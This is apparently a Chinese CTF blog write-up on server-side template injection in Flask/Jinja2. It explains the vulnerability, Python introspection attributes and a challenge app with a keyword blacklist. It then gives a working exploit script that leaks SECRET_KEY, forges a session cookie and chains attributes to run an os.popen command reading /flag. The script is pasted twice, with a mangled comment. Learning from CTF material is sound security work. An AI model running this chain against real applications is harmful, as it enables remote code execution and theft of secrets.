- SSTI模版注入:
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。
模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。
SSTI 就是服务器端模板注入,当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内 容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。
-
php常见的模板:twig,smarty,blade,等
- python常见的模板有:Jinja2,tornado
__dict__ :保存类实例或对象实例的属性变量键值对字典 __class__ :返回一个实例所属的类 __mro__ :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。 __bases__ :以元组形式返回一个类直接所继承的类(可以理解为直接父类)__base__ :和上面的bases大概相同,都是返回当前类所继承的类,即基类,区别是base返回单个,bases返回是元组 // __base__和__mro__都是用来寻找基类的 __subclasses__ :以列表返回类的子类 __init__ :类的初始化方法 __globals__ :对包含函数全局变量的字典的引用__builtin__&&__builtins__ :python中可以直接运行一些函数,例如int(),list()等等。 这些函数可以在__builtin__可以查到。查看的方法是dir(__builtins__) 在py3中__builtin__被换成了builtin 1.在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__。 2.非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身
- 题目描述:
- 打开题目链接,尝试查看源代码的js文件寻找漏洞,发现没有什么线索
- 打开题目的附件,发现一个基于 Flask 的简单 Web 应用程序
这段代码是一个基于 Flask 的简单 Web 应用程序,用于演示 SSTI(Server-Side Template Injection,服务端模板注入)漏洞。SSTI 漏洞是一种常见的 Web 安全漏洞,它允许攻击者在服务器端模板引擎中注入恶意代码,导致服务器执行攻击者控制的代码,可能导致信息泄露、服务器被接管等安全问题。
在这个应用中,
index.html
模板页面通过render_template
函数动态渲染,而user()
路由接受username
参数,然后将其作为模板字符串渲染返回。在waf()
函数中,存在一个基本的简单黑名单过滤器,用于检查输入中是否包含某些敏感字符串,如果包含则拒绝渲染并返回提示信息 "No hacker"。这段代码与 SSTI 漏洞相关的地方在于
user()
路由中,它直接将用户输入作为模板字符串进行渲染,而没有对输入进行适当的过滤或验证。这意味着如果用户能够控制username
参数,并成功注入模板代码,就可以执行任意的 Python 代码,包括读取服务器上的文件、执行系统命令等危险操作。例如,如果用户输入
{{ 7 * 7 }}
,那么页面上就会显示49
;如果用户输入{{ ''.__class__.__mro__[1].__subclasses__() }}
,则可能会返回服务器上 Python 的所有子类,包括敏感信息。攻击者可以使用这种漏洞进行进一步的渗透攻击。 - 分析代码发现没有过滤config和session,所以可以采用session来获得任意字符串
# coding=utf-8 import sys import requests from flask import Flask from flask.sessions import SecureCookieSessionInterface # 获取目标 URL,这里假设通过命令行参数传入 url = sys.argv[1] # "import sys import requests from flask import Flask from flask.sessions import SecureCookieSessionInterface # 获取目标 URL,这里假设通过命令行参数传入 url = sys.argv[1] # "http://X.X.X.X:port/" # 发送 GET 请求到目标网站的 'user' 路由,以获取 SECRET_KEY # 这里利用了之前的 SSTI 漏洞,将恶意模板作为用户名参数传递 sk = requests.get(f"{url}user", params={"username": "{{config.SECRET_KEY}}"}).text # 创建 Flask 应用 app = Flask(__name__) # 将获取到的 SECRET_KEY 设置为 Flask 应用的密钥 app.secret_key = sk # 获取 Flask 应用的会话序列化器 session_serializer = SecureCookieSessionInterface().get_signing_serializer(app) # 定义一个用于构造恶意会话的函数 def index(): # 构造恶意的 Python 字典,包含一些特殊的变量名和属性名,以及一条命令用于执行系统命令获取 '/flag' 文件内容 a = { "cs": "__class__", "bs": "__base__", "sub": "__subclasses__", "num": 190, "it": "__init__", "gb": "__globals__", "bt": "__builtins__", "el": "eval", "cmd": "__import__('os').popen('cut -d \"\" -f1 /flag').read()" } # 序列化恶意字典并返回 return session_serializer.dumps(a) # 构造恶意会话 session = index() # 构造包含恶意会话的 Cookie cookie = {"session": session} # 发送 GET 请求到 'user' 路由,触发 SSTI 漏洞,并执行恶意的系统命令获取 '/flag' 文件内容 response = requests.get( f"{url}user", params={ # 利用 SSTI 漏洞执行恶意模板代码 "username": "{{(joiner[session.cs]|attr(session.bs))[session.sub]()" "[session.num][session.it][session.gb][session.bt][session.el](session.cmd)}}" }, cookies=cookie ) # 打印获取的结果 print(response.text) # 发送 GET 请求到目标网站的 'user' 路由,以获取 SECRET_KEY # 这里利用了之前的 SSTI 漏洞,将恶意模板作为用户名参数传递 sk = requests.get(f"{url}user", params={"username": "{{config.SECRET_KEY}}"}).text # 创建 Flask 应用 app = Flask(__name__) # 将获取到的 SECRET_KEY 设置为 Flask 应用的密钥 app.secret_key = sk # 获取 Flask 应用的会话序列化器 session_serializer = SecureCookieSessionInterface().get_signing_serializer(app) # 定义一个用于构造恶意会话的函数 def index(): # 构造恶意的 Python 字典,包含一些特殊的变量名和属性名,以及一条命令用于执行系统命令获取 '/flag' 文件内容 a = { "cs": "__class__", "bs": "__base__", "sub": "__subclasses__", "num": 190, "it": "__init__", "gb": "__globals__", "bt": "__builtins__", "el": "eval", "cmd": "__import__('os').popen('cut -d \"\" -f1 /flag').read()" } # 序列化恶意字典并返回 return session_serializer.dumps(a) # 构造恶意会话 session = index() # 构造包含恶意会话的 Cookie cookie = {"session": session} # 发送 GET 请求到 'user' 路由,触发 SSTI 漏洞,并执行恶意的系统命令获取 '/flag' 文件内容 response = requests.get( f"{url}user", params={ # 利用 SSTI 漏洞执行恶意模板代码 "username": "{{(joiner[session.cs]|attr(session.bs))[session.sub]()" "[session.num][session.it][session.gb][session.bt][session.el](session.cmd)}}" }, cookies=cookie ) # 打印获取的结果 print(response.text)
- 需要在运行时通过命令行参数指定目标 URL
python code.py http://target-url.com/
-
若以上内容分析有误,请博友们指出
CTF-web-ssti模板注入漏洞
最新推荐文章于 2024-05-02 04:10:46 发布